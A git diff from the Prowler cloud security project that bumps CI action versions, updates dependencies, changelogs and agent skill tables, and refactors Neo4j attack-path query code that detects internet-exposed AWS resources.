secrets.PROWLER_BOT_ACCESS_TOKEN }} @@ -117,7 +117,7 @@ jobs: By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license. - name: Checkout version branch - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: ref: v${{ needs.detect-release-type.outputs.major_version }}.${{ needs.detect-release-type.outputs.minor_version }} persist-credentials: false @@ -149,7 +149,7 @@ jobs: git --no-pager diff - name: Create PR for first patch version to version branch - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} @@ -180,7 +180,7 @@ jobs: pull-requests: write steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -214,7 +214,7 @@ jobs: git --no-pager diff - name: Create PR for next patch version to version branch - uses: peter-evans/create-pull-request@98357b18bf14b5342f975ff684046ec3b2a07725 # v8.0.0 + uses: peter-evans/create-pull-request@c0f553fe549906ede9cf27b5156039d195d2ece0 # v8.1.0 with: author: prowler-bot <179230569+prowler-bot@users.noreply.github.com> token: ${{ secrets.PROWLER_BOT_ACCESS_TOKEN }} diff --git a/.github/workflows/ui-codeql.yml b/.github/workflows/ui-codeql.yml index fafa430baf..7d8755e27c 100644 --- a/.github/workflows/ui-codeql.yml +++ b/.github/workflows/ui-codeql.yml @@ -45,17 +45,17 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Initialize CodeQL - uses: github/codeql-action/init@5d4e8d1aca955e8d8589aabd499c5cae939e33c7 # v4.31.9 + uses: github/codeql-action/init@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4 with: languages: ${{ matrix.language }} config-file: ./.github/codeql/ui-codeql-config.yml - name: Perform CodeQL Analysis - uses: github/codeql-action/analyze@5d4e8d1aca955e8d8589aabd499c5cae939e33c7 # v4.31.9 + uses: github/codeql-action/analyze@89a39a4e59826350b863aa6b6252a07ad50cf83e # v4.32.4 with: category: '/language:${{ matrix.language }}' diff --git a/.github/workflows/ui-container-build-push.yml b/.github/workflows/ui-container-build-push.yml index 81d4aa69cb..e3b6589adf 100644 --- a/.github/workflows/ui-container-build-push.yml +++ b/.github/workflows/ui-container-build-push.yml @@ -59,7 +59,7 @@ jobs: message-ts: ${{ steps.slack-notification.outputs.ts }} steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -97,12 +97,12 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false - name: Login to DockerHub - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -113,7 +113,7 @@ jobs: - name: Build and push UI container for ${{ matrix.arch }} id: container-push if: github.event_name == 'push' || github.event_name == 'release' || github.event_name == 'workflow_dispatch' - uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6.18.0 + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6.19.2 with: context: ${{ env.WORKING_DIRECTORY }} build-args: | @@ -134,7 +134,7 @@ jobs: steps: - name: Login to DockerHub - uses: docker/login-action@5e57cd118135c172c3672efd75eb46360885c0ef # v3.6.0 + uses: docker/login-action@c94ce9fb468520275223c153574b00df6fe4bcc9 # v3.7.0 with: username: ${{ secrets.DOCKERHUB_USERNAME }} password: ${{ secrets.DOCKERHUB_TOKEN }} @@ -185,7 +185,7 @@ jobs: timeout-minutes: 5 steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false diff --git a/.github/workflows/ui-container-checks.yml b/.github/workflows/ui-container-checks.yml index d986c14b1b..c3b45bc62e 100644 --- a/.github/workflows/ui-container-checks.yml +++ b/.github/workflows/ui-container-checks.yml @@ -28,14 +28,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check if Dockerfile changed id: dockerfile-changed - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: ui/Dockerfile @@ -66,14 +66,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for UI changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: ui/** files_ignore: | @@ -87,7 +87,7 @@ jobs: - name: Build UI container for ${{ matrix.arch }} if: steps.check-changes.outputs.any_changed == 'true' - uses: docker/build-push-action@263435318d21b8e681c14492fe198d362a7d2c83 # v6.18.0 + uses: docker/build-push-action@10e90e3645eae34f1e60eeb005ba3a3d33f178e8 # v6.19.2 with: context: ${{ env.UI_WORKING_DIR }} target: prod diff --git a/.github/workflows/ui-e2e-tests-v2.yml b/.github/workflows/ui-e2e-tests-v2.yml index 0e8a146b26..08b1063903 100644 --- a/.github/workflows/ui-e2e-tests-v2.yml +++ b/.github/workflows/ui-e2e-tests-v2.yml @@ -78,7 +78,7 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: persist-credentials: false @@ -152,7 +152,7 @@ jobs: ' - name: Setup Node.js - uses: actions/setup-node@395ad3262231945c25e8478fd5baf05154b1d79f # v6.1.0 + uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0 with: node-version: '24.13.0' @@ -166,7 +166,7 @@ jobs: run: echo "STORE_PATH=$(pnpm store path --silent)" >> $GITHUB_ENV - name: Setup pnpm and Next.js cache - uses: actions/cache@9255dc7a253b0ccc959486e2bca901246202afeb # v5.0.1 + uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3 with: path: | ${{ env.STORE_PATH }} @@ -186,7 +186,7 @@ jobs: run: pnpm run build - name: Cache Playwright browsers - uses: actions/cache@9255dc7a253b0ccc959486e2bca901246202afeb # v5.0.1 + uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3 id: playwright-cache with: path: ~/.cache/ms-playwright @@ -214,11 +214,40 @@ jobs: TEST_PATHS=$(echo "$TEST_PATHS" | sed 's|ui/||g' | sed 's|\*\*||g' | tr ' ' '\n' | sort -u) # Drop auth setup helpers (not runnable test suites) TEST_PATHS=$(echo "$TEST_PATHS" | grep -v '^tests/setups/') + # Safety net: if bare "tests/" appears (from broad patterns like ui/tests/**), + # expand to specific subdirs to avoid Playwright discovering setup files + if echo "$TEST_PATHS" | grep -qx 'tests/'; then + echo "Expanding bare 'tests/' to specific subdirs (excluding setups)..." + SPECIFIC_DIRS="" + for dir in tests/*/; do + [[ "$dir" == "tests/setups/" ]] && continue + SPECIFIC_DIRS="${SPECIFIC_DIRS}${dir}"$'\n' + done + # Replace "tests/" with specific dirs, keep other paths + TEST_PATHS=$(echo "$TEST_PATHS" | grep -vx 'tests/') + TEST_PATHS="${TEST_PATHS}"$'\n'"${SPECIFIC_DIRS}" + TEST_PATHS=$(echo "$TEST_PATHS" | grep -v '^$' | sort -u) + fi if [[ -z "$TEST_PATHS" ]]; then echo "No runnable E2E test paths after filtering setups" exit 0 fi - TEST_PATHS=$(echo "$TEST_PATHS" | tr '\n' ' ') + # Filter out directories that don't contain any test files + VALID_PATHS="" + while IFS= read -r p; do + [[ -z "$p" ]] && continue + if find "$p" -name '*.spec.ts' -o -name '*.test.ts' 2>/dev/null | head -1 | grep -q .; then + VALID_PATHS="${VALID_PATHS}${p}"$'\n' + else + echo "Skipping empty test directory: $p" + fi + done <<< "$TEST_PATHS" + VALID_PATHS=$(echo "$VALID_PATHS" | grep -v '^$' || true) + if [[ -z "$VALID_PATHS" ]]; then + echo "No test files found in any resolved paths — skipping E2E" + exit 0 + fi + TEST_PATHS=$(echo "$VALID_PATHS" | tr '\n' ' ') echo "Resolved test paths: $TEST_PATHS" pnpm exec playwright test $TEST_PATHS fi diff --git a/.github/workflows/ui-tests.yml b/.github/workflows/ui-tests.yml index 1476d38c19..838b125249 100644 --- a/.github/workflows/ui-tests.yml +++ b/.github/workflows/ui-tests.yml @@ -30,14 +30,14 @@ jobs: steps: - name: Checkout repository - uses: actions/checkout@8e8c483db84b4bee98b60c0593521ed34d9990e8 # v6.0.1 + uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 with: # zizmor: ignore[artipacked] persist-credentials: true # Required by tj-actions/changed-files to fetch PR branch - name: Check for UI changes id: check-changes - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ui/** @@ -50,7 +50,7 @@ jobs: - name: Get changed source files for targeted tests id: changed-source if: steps.check-changes.outputs.any_changed == 'true' - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ui/**/*.ts @@ -66,7 +66,7 @@ jobs: - name: Check for critical path changes (run all tests) id: critical-changes if: steps.check-changes.outputs.any_changed == 'true' - uses: tj-actions/changed-files@e0021407031f5be11a464abee9a0776171c79891 # v47.0.1 + uses: tj-actions/changed-files@7dee1b0c1557f278e5c7dc244927139d78c0e22a # v47.0.4 with: files: | ui/lib/** @@ -78,7 +78,7 @@ jobs: - name: Setup Node.js ${{ env.NODE_VERSION }} if: steps.check-changes.outputs.any_changed == 'true' - uses: actions/setup-node@395ad3262231945c25e8478fd5baf05154b1d79f # v6.1.0 + uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0 with: node-version: ${{ env.NODE_VERSION }} @@ -96,7 +96,7 @@ jobs: - name: Setup pnpm and Next.js cache if: steps.check-changes.outputs.any_changed == 'true' - uses: actions/cache@9255dc7a253b0ccc959486e2bca901246202afeb # v5.0.1 + uses: actions/cache@cdf6c1fa76f9f475f3d7449005a359c84ca0f306 # v5.0.3 with: path: | ${{ env.STORE_PATH }} diff --git a/.gitignore b/.gitignore index 4dfb137b89..c9bf8f0f6f 100644 --- a/.gitignore +++ b/.gitignore @@ -163,3 +163,6 @@ GEMINI.md .codex/skills .github/skills .gemini/skills + +# Claude Code +.claude/* diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index eb65669765..a45f436284 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -22,6 +22,13 @@ repos: args: [--autofix] files: pyproject.toml + ## GITHUB ACTIONS + - repo: https://github.com/zizmorcore/zizmor-pre-commit + rev: v1.6.0 + hooks: + - id: zizmor + files: ^\.github/ + ## BASH - repo: https://github.com/koalaman/shellcheck-precommit rev: v0.10.0 @@ -120,7 +127,8 @@ repos: description: "Safety is a tool that checks your installed dependencies for known security vulnerabilities" # TODO: Botocore needs urllib3 1.X so we need to ignore these vulnerabilities 77744,77745. Remove this once we upgrade to urllib3 2.X # TODO: 79023 & 79027 knack ReDoS until `azure-cli-core` (via `cartography`) allows `knack` >=0.13.0 - entry: bash -c 'safety check --ignore 70612,66963,74429,76352,76353,77744,77745,79023,79027' + # TODO: 86217 because `alibabacloud-tea-openapi == 0.4.3` don't let us upgrade `cryptography >= 46.0.0` + entry: bash -c 'safety check --ignore 70612,66963,74429,76352,76353,77744,77745,79023,79027,86217' language: system - id: vulture diff --git a/AGENTS.md b/AGENTS.md index 600d353ef9..7eb2262917 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -46,6 +46,8 @@ Use these skills for detailed patterns on-demand: | `prowler-commit` | Professional commits (conventional-commits) | [SKILL.md](skills/prowler-commit/SKILL.md) | | `prowler-pr` | Pull request conventions | [SKILL.md](skills/prowler-pr/SKILL.md) | | `prowler-docs` | Documentation style guide | [SKILL.md](skills/prowler-docs/SKILL.md) | +| `django-migration-psql` | Django migration best practices for PostgreSQL | [SKILL.md](skills/django-migration-psql/SKILL.md) | +| `postgresql-indexing` | PostgreSQL indexing, EXPLAIN, monitoring, maintenance | [SKILL.md](skills/postgresql-indexing/SKILL.md) | | `prowler-attack-paths-query` | Create Attack Paths openCypher queries | [SKILL.md](skills/prowler-attack-paths-query/SKILL.md) | | `gh-aw` | GitHub Agentic Workflows (gh-aw) | [SKILL.md](skills/gh-aw/SKILL.md) | | `skill-creator` | Create new AI agent skills | [SKILL.md](skills/skill-creator/SKILL.md) | @@ -85,15 +87,15 @@ When performing these actions, ALWAYS invoke the corresponding skill FIRST: | Fixing bug | `tdd` | | General Prowler development questions | `prowler` | | Implementing JSON:API endpoints | `django-drf` | -| Importing Copilot Custom Agents into workflows | `gh-aw` | | Implementing feature | `tdd` | +| Importing Copilot Custom Agents into workflows | `gh-aw` | | Inspect PR CI checks and gates (.github/workflows/*) | `prowler-ci` | | Inspect PR CI workflows (.github/workflows/*): conventional-commit, pr-check-changelog, pr-conflict-checker, labeler | `prowler-pr` | | Mapping checks to compliance controls | `prowler-compliance` | | Mocking AWS with moto in tests | `prowler-test-sdk` | | Modifying API responses | `jsonapi` | -| Modifying gh-aw workflow frontmatter or safe-outputs | `gh-aw` | | Modifying component | `tdd` | +| Modifying gh-aw workflow frontmatter or safe-outputs | `gh-aw` | | Refactoring code | `tdd` | | Regenerate AGENTS.md Auto-invoke tables (sync.sh) | `skill-sync` | | Review PR requirements: template, title conventions, changelog gate | `prowler-pr` | diff --git a/api/AGENTS.md b/api/AGENTS.md index e1738b4a26..2bdee1b28c 100644 --- a/api/AGENTS.md +++ b/api/AGENTS.md @@ -4,6 +4,8 @@ > - [`prowler-api`](../skills/prowler-api/SKILL.md) - Models, Serializers, Views, RLS patterns > - [`prowler-test-api`](../skills/prowler-test-api/SKILL.md) - Testing patterns (pytest-django) > - [`prowler-attack-paths-query`](../skills/prowler-attack-paths-query/SKILL.md) - Attack Paths openCypher queries +> - [`django-migration-psql`](../skills/django-migration-psql/SKILL.md) - Migration best practices for PostgreSQL +> - [`postgresql-indexing`](../skills/postgresql-indexing/SKILL.md) - PostgreSQL indexing, EXPLAIN, monitoring, maintenance > - [`django-drf`](../skills/django-drf/SKILL.md) - Generic DRF patterns > - [`jsonapi`](../skills/jsonapi/SKILL.md) - Strict JSON:API v1.1 spec compliance > - [`pytest`](../skills/pytest/SKILL.md) - Generic pytest patterns @@ -16,14 +18,20 @@ When performing these actions, ALWAYS invoke the corresponding skill FIRST: |--------|-------| | Add changelog entry for a PR or feature | `prowler-changelog` | | Adding DRF pagination or permissions | `django-drf` | +| Adding indexes or constraints to database tables | `django-migration-psql` | | Adding privilege escalation detection queries | `prowler-attack-paths-query` | +| Analyzing query performance with EXPLAIN | `postgresql-indexing` | | Committing changes | `prowler-commit` | | Create PR that requires changelog entry | `prowler-changelog` | | Creating API endpoints | `jsonapi` | | Creating Attack Paths queries | `prowler-attack-paths-query` | | Creating ViewSets, serializers, or filters in api/ | `django-drf` | | Creating a git commit | `prowler-commit` | +| Creating or modifying PostgreSQL indexes | `postgresql-indexing` | +| Creating or reviewing Django migrations | `django-migration-psql` | | Creating/modifying models, views, serializers | `prowler-api` | +| Debugging slow queries or missing indexes | `postgresql-indexing` | +| Dropping or reindexing PostgreSQL indexes | `postgresql-indexing` | | Fixing bug | `tdd` | | Implementing JSON:API endpoints | `django-drf` | | Implementing feature | `tdd` | @@ -32,12 +40,14 @@ When performing these actions, ALWAYS invoke the corresponding skill FIRST: | Refactoring code | `tdd` | | Review changelog format and conventions | `prowler-changelog` | | Reviewing JSON:API compliance | `jsonapi` | +| Running makemigrations or pgmakemigrations | `django-migration-psql` | | Testing RLS tenant isolation | `prowler-test-api` | | Update CHANGELOG.md in any component | `prowler-changelog` | | Updating existing Attack Paths queries | `prowler-attack-paths-query` | | Working on task | `tdd` | | Writing Prowler API tests | `prowler-test-api` | | Writing Python tests with pytest | `pytest` | +| Writing data backfill or data migration | `django-migration-psql` | --- diff --git a/api/CHANGELOG.md b/api/CHANGELOG.md index 1de35a8999..7cd4fce52f 100644 --- a/api/CHANGELOG.md +++ b/api/CHANGELOG.md @@ -2,20 +2,40 @@ All notable changes to the **Prowler API** are documented in this file. -## [1.21.0] (Prowler UNRELEASED) +## [1.22.0] (Prowler v5.21.0) + +### 🚀 Added + +- `CORS_ALLOWED_ORIGINS` configurable via environment variable [(#10355)](https://github.com/prowler-cloud/prowler/pull/10355) +- Attack Paths: Tenant and provider related labels to the nodes so they can be easily filtered on custom queries [(#10308)](https://github.com/prowler-cloud/prowler/pull/10308) + +### 🔄 Changed + +- Attack Paths: Complete migration to private graph labels and properties, removing deprecated dual-write support [(#10268)](https://github.com/prowler-cloud/prowler/pull/10268) +- Attack Paths: Reduce sync and findings memory usage with smaller batches, cursor iteration, and sequential sessions [(#10359)](https://github.com/prowler-cloud/prowler/pull/10359) + +### 🐞 Fixed + +- Attack Paths: Recover `graph_data_ready` flag when scan fails during graph swap, preventing query endpoints from staying blocked until the next successful scan [(#10354)](https://github.com/prowler-cloud/prowler/pull/10354) + +### 🔐 Security + +- Use `psycopg2.sql` to safely compose DDL in `PostgresEnumMigration`, preventing SQL injection via f-string interpolation [(#10166)](https://github.com/prowler-cloud/prowler/pull/10166) + +--- + +## [1.21.0] (Prowler v5.20.0) ### 🔄 Changed - Attack Paths: Migrate network exposure queries from APOC to standard openCypher for Neo4j and Neptune compatibility [(#10266)](https://github.com/prowler-cloud/prowler/pull/10266) - `POST /api/v1/providers` returns `409 Conflict` if already exists [(#10293)](https://github.com/prowler-cloud/prowler/pull/10293) ---- - -## [1.20.1] (Prowler UNRELEASED) - ### 🐞 Fixed -- Attack Paths: Add missing logging for query execution and exception details in scan error handling [(#10269)](https://github.com/prowler-cloud/prowler/pull/10269) +- Attack Paths: Security hardening for custom query endpoint (Cypher blocklist, input validation, rate limiting, Helm lockdown) [(#10238)](https://github.com/prowler-cloud/prowler/pull/10238) +- Attack Paths: Missing logging for query execution and exception details in scan error handling [(#10269)](https://github.com/prowler-cloud/prowler/pull/10269) +- Attack Paths: Upgrade Cartography from 0.129.0 to 0.132.0, fixing `exposed_internet` not set on ELB/ELBv2 nodes [(#10272)](https://github.com/prowler-cloud/prowler/pull/10272) --- diff --git a/api/Dockerfile b/api/Dockerfile index 508bcae60e..a07115e9a4 100644 --- a/api/Dockerfile +++ b/api/Dockerfile @@ -24,13 +24,6 @@ RUN apt-get update && apt-get install -y --no-install-recommends \ python3-dev \ && rm -rf /var/lib/apt/lists/* -# Cartography depends on `dockerfile` which has no pre-built arm64 wheel and requires Go to compile -# hadolint ignore=DL3008 -RUN if [ "$(uname -m)" = "aarch64" ]; then \ - apt-get update && apt-get install -y --no-install-recommends golang-go \ - && rm -rf /var/lib/apt/lists/* ; \ - fi - # Install PowerShell RUN ARCH=$(uname -m) && \ if [ "$ARCH" = "x86_64" ]; then \ diff --git a/api/poetry.lock b/api/poetry.lock index 6aba9045da..6fbdb874bc 100644 --- a/api/poetry.lock +++ b/api/poetry.lock @@ -1822,14 +1822,14 @@ crt = ["awscrt (==0.27.6)"] [[package]] name = "cartography" -version = "0.129.0" +version = "0.132.0" description = "Explore assets and their relationships across your technical infrastructure." optional = false python-versions = ">=3.10" groups = ["main"] files = [ - {file = "cartography-0.129.0-py3-none-any.whl", hash = "sha256:d42c840369be9e4d0ac4d024074e3732416e40bab3d9a3023b6a247918daed4c"}, - {file = "cartography-0.129.0.tar.gz", hash = "sha256:cb47d603e652554a4cbcc1a868c96014eb02b3d5cc1affea0428b2ed7fa61699"}, + {file = "cartography-0.132.0-py3-none-any.whl", hash = "sha256:c070aa51d0ab4479cb043cae70b35e7df49f2fb5f1fa95ccf10000bbeb952262"}, + {file = "cartography-0.132.0.tar.gz", hash = "sha256:7c6332bc57fd2629d7b83aee7bd95a7b2edb0d51ef746efa0461399e0b66625c"}, ] [package.dependencies] @@ -1864,8 +1864,8 @@ boto3 = ">=1.15.1" botocore = ">=1.18.1" cloudflare = ">=4.1.0,<5.0.0" crowdstrike-falconpy = ">=0.5.1" +cryptography = "*" dnspython = ">=1.15.0" -dockerfile = ">=3.0.0" duo-client = "*" google-api-python-client = ">=1.7.8" google-auth = ">=2.37.0" @@ -3095,21 +3095,6 @@ docs = ["myst-parser (==0.18.0)", "sphinx (==5.1.1)"] ssh = ["paramiko (>=2.4.3)"] websockets = ["websocket-client (>=1.3.0)"] -[[package]] -name = "dockerfile" -version = "3.4.0" -description = "Parse a dockerfile into a high-level representation using the official go parser." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "dockerfile-3.4.0-cp39-abi3-macosx_13_0_x86_64.whl", hash = "sha256:ed33446a76007cbb3f28c247f189cc06db34667d4f59a398a5c44912d7c13f36"}, - {file = "dockerfile-3.4.0-cp39-abi3-macosx_14_0_arm64.whl", hash = "sha256:a4549d4f038483c25906d4fec56bb6ffe82ae26e0f80a15f2c0fedbb50712053"}, - {file = "dockerfile-3.4.0-cp39-abi3-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:b95102bd82e6f67c836186b51c13114aa586a20e8cb6441bde24d4070542009d"}, - {file = "dockerfile-3.4.0-cp39-abi3-win_amd64.whl", hash = "sha256:30202187f1885f99ac839fd41ca8150b2fd0a66fac12db0166361d0c4622e71a"}, - {file = "dockerfile-3.4.0.tar.gz", hash = "sha256:238bb950985c55a525daef8bbfe994a0230aa0978c419f4caa4d9ce0a37343f1"}, -] - [[package]] name = "dogpile-cache" version = "1.5.0" @@ -6745,7 +6730,7 @@ tzlocal = "5.3.1" type = "git" url = "https://github.com/prowler-cloud/prowler.git" reference = "master" -resolved_reference = "6962622fd21401886371add25463f77228cd9c1f" +resolved_reference = "b31145616064bd6727139777dca1cea9b977346a" [[package]] name = "psutil" @@ -9397,4 +9382,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.11,<3.13" -content-hash = "42759b370c9e38da727e73f9d8ec0fa61bc6137eab18f11ccd7deff79a0dee69" +content-hash = "6e38c38b1f8dc05b881f49703fa445eec299527e6697992b18e4613534fbcdb6" diff --git a/api/pyproject.toml b/api/pyproject.toml index 05c24bb807..bc9c742a6c 100644 --- a/api/pyproject.toml +++ b/api/pyproject.toml @@ -37,7 +37,7 @@ dependencies = [ "matplotlib (>=3.10.6,<4.0.0)", "reportlab (>=4.4.4,<5.0.0)", "neo4j (>=6.0.0,<7.0.0)", - "cartography (==0.129.0)", + "cartography (==0.132.0)", "gevent (>=25.9.1,<26.0.0)", "werkzeug (>=3.1.4)", "sqlparse (>=0.5.4)", @@ -49,7 +49,7 @@ name = "prowler-api" package-mode = false # Needed for the SDK compatibility requires-python = ">=3.11,<3.13" -version = "1.21.0" +version = "1.23.0" [project.scripts] celery = "src.backend.config.settings.celery" diff --git a/api/src/backend/api/attack_paths/database.py b/api/src/backend/api/attack_paths/database.py index 418652f79c..02083991ac 100644 --- a/api/src/backend/api/attack_paths/database.py +++ b/api/src/backend/api/attack_paths/database.py @@ -1,25 +1,22 @@ import atexit import logging import threading - -from typing import Any - from contextlib import contextmanager -from typing import Iterator +from typing import Any, Iterator from uuid import UUID import neo4j import neo4j.exceptions - -from django.conf import settings - -from api.attack_paths.retryable_session import RetryableSession from config.env import env +from django.conf import settings from tasks.jobs.attack_paths.config import ( BATCH_SIZE, - DEPRECATED_PROVIDER_RESOURCE_LABEL, + PROVIDER_ID_PROPERTY, + PROVIDER_RESOURCE_LABEL, ) +from api.attack_paths.retryable_session import RetryableSession + # Without this Celery goes crazy with Neo4j logging logging.getLogger("neo4j").setLevel(logging.ERROR) logging.getLogger("neo4j").propagate = False @@ -35,6 +32,7 @@ READ_EXCEPTION_CODES = [ "Neo.ClientError.Statement.AccessMode", "Neo.ClientError.Procedure.ProcedureNotFound", ] +CLIENT_STATEMENT_EXCEPTION_PREFIX = "Neo.ClientError.Statement." # Module-level process-wide driver singleton _driver: neo4j.Driver | None = None @@ -108,6 +106,7 @@ def get_session( except neo4j.exceptions.Neo4jError as exc: if ( default_access_mode == neo4j.READ_ACCESS + and exc.code and exc.code in READ_EXCEPTION_CODES ): message = "Read query not allowed" @@ -115,6 +114,10 @@ def get_session( raise WriteQueryNotAllowedException(message=message, code=code) message = exc.message if exc.message is not None else str(exc) + + if exc.code and exc.code.startswith(CLIENT_STATEMENT_EXCEPTION_PREFIX): + raise ClientStatementException(message=message, code=exc.code) + raise GraphDatabaseQueryException(message=message, code=exc.code) finally: @@ -172,7 +175,7 @@ def drop_subgraph(database: str, provider_id: str) -> int: while deleted_count > 0: result = session.run( f""" - MATCH (n:{DEPRECATED_PROVIDER_RESOURCE_LABEL} {{provider_id: $provider_id}}) + MATCH (n:{PROVIDER_RESOURCE_LABEL} {{{PROVIDER_ID_PROPERTY}: $provider_id}}) WITH n LIMIT $batch_size DETACH DELETE n RETURN COUNT(n) AS deleted_nodes_count @@ -190,6 +193,29 @@ def drop_subgraph(database: str, provider_id: str) -> int: return deleted_nodes +def has_provider_data(database: str, provider_id: str) -> bool: + """ + Check if any ProviderResource node exists for this provider. + + Returns `False` if the database doesn't exist. + """ + query = ( + f"MATCH (n:{PROVIDER_RESOURCE_LABEL} " + f"{{{PROVIDER_ID_PROPERTY}: $provider_id}}) " + "RETURN 1 LIMIT 1" + ) + + try: + with get_session(database, default_access_mode=neo4j.READ_ACCESS) as session: + result = session.run(query, {"provider_id": provider_id}) + return result.single() is not None + + except GraphDatabaseQueryException as exc: + if exc.code == "Neo.ClientError.Database.DatabaseNotFound": + return False + raise + + def clear_cache(database: str) -> None: query = "CALL db.clearQueryCaches()" @@ -227,3 +253,7 @@ class GraphDatabaseQueryException(Exception): class WriteQueryNotAllowedException(GraphDatabaseQueryException): pass + + +class ClientStatementException(GraphDatabaseQueryException): + pass diff --git a/api/src/backend/api/attack_paths/queries/aws.py b/api/src/backend/api/attack_paths/queries/aws.py index 1a442f7bd6..3dac99a767 100644 --- a/api/src/backend/api/attack_paths/queries/aws.py +++ b/api/src/backend/api/attack_paths/queries/aws.py @@ -3,7 +3,7 @@ from api.attack_paths.queries.types import ( AttackPathsQueryDefinition, AttackPathsQueryParameterDefinition, ) -from tasks.jobs.attack_paths.config import PROWLER_FINDING_LABEL +from tasks.jobs.attack_paths.config import PROVIDER_ID_PROPERTY, PROWLER_FINDING_LABEL # Custom Attack Path Queries @@ -16,7 +16,7 @@ AWS_INTERNET_EXPOSED_EC2_SENSITIVE_S3_ACCESS = AttackPathsQueryDefinition( description="Detect EC2 instances with SSH exposed to the internet that can assume higher-privileged roles to read tagged sensitive S3 buckets despite bucket-level public access blocks.", provider="aws", cypher=f""" - OPTIONAL MATCH (internet:Internet {{_provider_id: $provider_id}}) + OPTIONAL MATCH (internet:Internet {{{PROVIDER_ID_PROPERTY}: $provider_id}}) MATCH path_s3 = (aws:AWSAccount {{id: $provider_uid}})--(s3:S3Bucket)--(t:AWSTag) WHERE toLower(t.key) = toLower($tag_key) AND toLower(t.value) = toLower($tag_value) @@ -179,7 +179,7 @@ AWS_EC2_INSTANCES_INTERNET_EXPOSED = AttackPathsQueryDefinition( description="Find EC2 instances flagged as exposed to the internet within the selected account.", provider="aws", cypher=f""" - OPTIONAL MATCH (internet:Internet {{_provider_id: $provider_id}}) + OPTIONAL MATCH (internet:Internet {{{PROVIDER_ID_PROPERTY}: $provider_id}}) MATCH path = (aws:AWSAccount {{id: $provider_uid}})--(ec2:EC2Instance) WHERE ec2.exposed_internet = true @@ -201,7 +201,7 @@ AWS_SECURITY_GROUPS_OPEN_INTERNET_FACING = AttackPathsQueryDefinition( description="Find internet-facing resources associated with security groups that allow inbound access from '0.0.0.0/0'.", provider="aws", cypher=f""" - OPTIONAL MATCH (internet:Internet {{_provider_id: $provider_id}}) + OPTIONAL MATCH (internet:Internet {{{PROVIDER_ID_PROPERTY}: $provider_id}}) // Match EC2 instances 